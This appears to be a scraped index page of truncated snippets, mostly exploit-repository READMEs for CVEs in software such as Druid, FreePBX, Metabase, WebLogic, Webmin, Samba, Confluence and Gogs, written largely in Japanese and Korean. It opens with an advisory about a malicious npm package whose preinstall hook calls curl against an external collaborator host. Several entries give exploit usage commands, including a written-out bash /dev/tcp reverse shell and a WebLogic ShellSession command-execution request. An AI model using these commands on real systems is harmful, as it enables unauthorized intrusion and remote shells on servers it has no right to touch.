Malicious code in @uh-platform/webcard (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2b9f7c250a563ff0915cbcdb1e2fa8a402094c030d7223a726c69ffea6de4b8c @uh-platform/[email protected] declares a preinstall hook that runs index.js, which shells out to curl against a unique Burp Collaborator subdomain at...

MAL-2026-16362 Malicious code in @uh-platform/webcard (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2b9f7c250a563ff0915cbcdb1e2fa8a402094c030d7223a726c69ffea6de4b8c @uh-platform/[email protected] declares a preinstall hook that runs index.js, which shells out to curl against a unique Burp Collaborator subdomain at...

mcpjam-cve-2026-23744-validator

MCPJam Inspector 認可済みセキュリティバリデータ 脆弱なMCPJam Inspectorデプロイメントに影響するCVE-2026-23744 のための制限された概念実証バリデータです。 このプロジェクトは、以前に開示されたCVE-2026-23744のための独立した非破壊的な検証ツールです。元の脆弱性開示やエクスプロイトではありません。 このリポジトリは、自身が所有する、または明示的な書面による評価権限を持つシステムを検証するセキュリティ専門家を対象としています。 重要な注意事項 このバリデータは、対象のMCPJam...

CVE-2021-25646

usage: python3 CVE-2021-25646.py -u http://x.x.x.x -c cmd リバースシェルは以下の通り： リバースシェルスクリプトを書き込む python3 CVE-2021-25646.py -u http://x.x.x.x -c "echo 'bash -i & /dev/tcp/x.x.x.x/xxxx 0&1' /tmp/1.sh" シェルスクリプトに実行権限を付与 python3 CVE-2021-25646.py -u http://x.x.x.x -c "chmod +x /tmp/1.sh" シェルを実行 python3...

cve-2025-57819-exploit

CVE-2025-57819 エクスプロイト メタデータ 重要度: 重大 9.8 ベクトル: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H タイプ: 認証なしSQLインジェクション → リモートコード実行 影響を受けるソフトウェア: FreePBX endpoint module パラメータ : ターゲットのホスト名またはIPアドレス（脆弱なFreePBXインスタンス） : リバースシェルコールバック用の攻撃者IPアドレス : 受信接続用のリスニングポート 例： root@kitploit: python3 cve-2025-57819.py...

CVE-2023-38646

CVE-2023-38646 Metabase 事前認証RCE 0.46.6.1 より前の Metabase オープンソース版、および 1.46.6.1 より前の Metabase Enterprise 版では、攻撃者がサーバー上でサーバーの権限レベルにて任意のコマンドを実行できます。悪用に認証は不要です。その他の修正済みバージョンは、0.45.4.1、1.45.4.1、0.44.7.1、1.44.7.1、0.43.7.2、1.43.7.2 です。 使用例 2つのターミナルを開いてください。 ターミナル 1: python3 exploit.py -u http...

CVE-2020-14882

NS-Sp4ce、Jas502n、s1kr10s、demon、斯文に感謝します 参照： https://github.com/NS-Sp4ce/CVE-2020-14882 https://github.com/jas502n/CVE-2020-14882 https://github.com/s1kr10s/CVE-2020-14882 使用法: CVE-2020-14882.py -h -u URL -f FILE -c CMD オプション引数: -h, --help このヘルプメッセージを表示して終了します -u URL, --url URL ターゲットURL;...

CVE-2019-15107

CVE-2019-15107 Webmin 1.890 認証不要のリモートコード実行 このスクリプトは、Webmin 1.890 の認証不要のコマンド実行脆弱性を悪用するために設計されています。ターゲットの Webmin サーバ上で任意のコマンドを実行したり、リバースシェルを取得したりできます。 使用方法 このエクスプロイトは5つの引数を取ります： root@kitploit: $ python3 test.py -h usage: test.py -h -i IP Address -p Port number -c Command --shell -x Exploit...

CVE-2017-3506

이것은 무엇인가? 이것은 CVE-2017-3506Weblogic XMLDecoder Serialization의 PoC입니다. 어떻게 사용하나요? 취약점 확인 root@kitploit: java -jar WebLogic-XMLDecoder.jar -u http://192.168.174.144:7001 셸 획득 root@kitploit: java -jar WebLogic-XMLDecoder.jar -s http://192.168.174.144:7001 /wls-wsat/CoordinatorPortType11 shell.jsp 그런...

Node.js-CVE-2024-39943

Node.js HFS コマンド実行の脆弱性 CVE-2024-39943 ホワイトハットスクール第3期 – ノ・ジョンミン @JenmrR 概要 Node.jsベースのHFSサーバー環境において、アップロードされたファイルの内容をchildprocess.execSyncで実行する脆弱性が存在する。 攻撃者はファイルアップロード機能を通じてOSコマンドを直接実行でき、サーバー内部のコマンド実行結果を確認したり、システムを制御したりすることができる。 これはCVE-2024-39943に該当する脆弱性であり、コマンドインジェクションRemote Code...

CVE-2019-9978

CVE-2019-9978 WordPress プラグイン Social Warfare の RCE 脆弱性 3.5.3 🐞 脆弱なプラグインを最小限にシミュレートして悪用する 🥰 脆弱なプラグインのインストール 依存関係のインストール: root@kitploit: docker-compose build 脆弱性サーバーと攻撃者サーバーのコンテナを起動 root@kitploit: docker-compose up または root@kitploit: docker-compose up -d サーバーの停止...

CVE-2007-2447

CVE-2007-2447 Samba 3.0.0 - 3.0.25rc3 は、リモートコマンドインジェクションの脆弱性 CVE-2007-2447 の影響を受けます。この脆弱性により、リモートの攻撃者は、シェルのメタ文字を含むユーザー名を指定することで、任意のコマンドを実行できる可能性があります。...

CVE-2020-14882

CVE-2020-14882 coherence ShellSession calc.exe の実行 root@kitploit: import requests url = 'http://:/console/images/%252E%252E%252Fconsole.portal' \ '?nfpb=true&pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession' ...

CVE-2014-0196

参照: https://vulners.com/cve/CVE-2014-0196...

CVE-2026-52806

Gogs RCE — git rebase における引数インジェクション CWE-88 プルリクエストのマージフローにおける引数インジェクションを介した、Gogs という名前のブランチは、位置引数ではなく Git によって --exec フラグとして解析され、リベース中に再生された各コミットの後に sh -c が実行されます。 エクスプロイトの仕組み 1. 事前確認 Pre-flight — ターゲットが Gogs を実行しているか判定し、静的アセットの ?v= パラメータでバージョンを特定し、ユーザー登録がオープンか、CAPTCHA 保護付きか、無効かを確認します。 2. 認証 —...

CVE-2018-8284-Sharepoint-RCE

CVE-2018-8284-Sharepoint-RCE...

cve-2019-3396

cve-2019-3396 인증되지 않은 Confluence 원격 코드 실행 cve-2019-3396 익스플로잇 라이브러리 설치 root@kitploit: bundle install 실행 root@kitploit: ┌──user㉿hostname-/path/to/cve-2019-3396 └─$ ruby cve-2019-3396.rb exploit - CVE-2019-3396 Author - Abdallah Mohamed Elsharif Greetz to Ghost5egy and Hamza Abdulrahman and Omar an...

CVE-2020-35729

정보 root@kitploit: Exploit Title: Klog Server 2.4.1 - Command Injection Unauthenticated Date: 22.12.2020 Exploit Author: b3kc4t Mustafa GUNDOGDU Vendor Homepage: https://www.klogserver.com/ Version: 2.4.1 Tested On: Ubuntu 18.04 CVE: 2020-35729 Description:...

CVE-2021-24155.rb

WordPress-Backup-RCE このMetasploitモジュールは、WordPressプラグイン「Backup Guard」のバージョン1.6.0未満における任意ファイルアップロードの脆弱性を利用し、特権WordPressアカウントを持つ攻撃者がリバースシェルを起動することを可能にします。この脆弱性は、アップロードされたファイルの拡張子（本来はSGBPタイプであるべき）のチェックが不正確であることに起因します。その後、アップロードされたペイロードは、/wp-content/uploads/backup-guard/.phpへの呼び出しによってトリガーされます。...

BiblioRCE

BiblioCraft内の見落とし、制限されたサーバーサイドファイル操作を可能にする。 この方法はBiblioCraftのみ必要です！あまり手の込んだことをせず、コード実行を達成するために他のMODは不要です！ CoreTweaks CoreTweaksに焦点を当てた元の記事はこちらにあります。最初にこれを読むことをお勧めします。以下で重要な詳細を省略する可能性があります。 影響 コード実行は複数の方法で可能です。 これはBiblioCraft 1.7.10 v1.11.7およびBiblioCraft 1.12.2...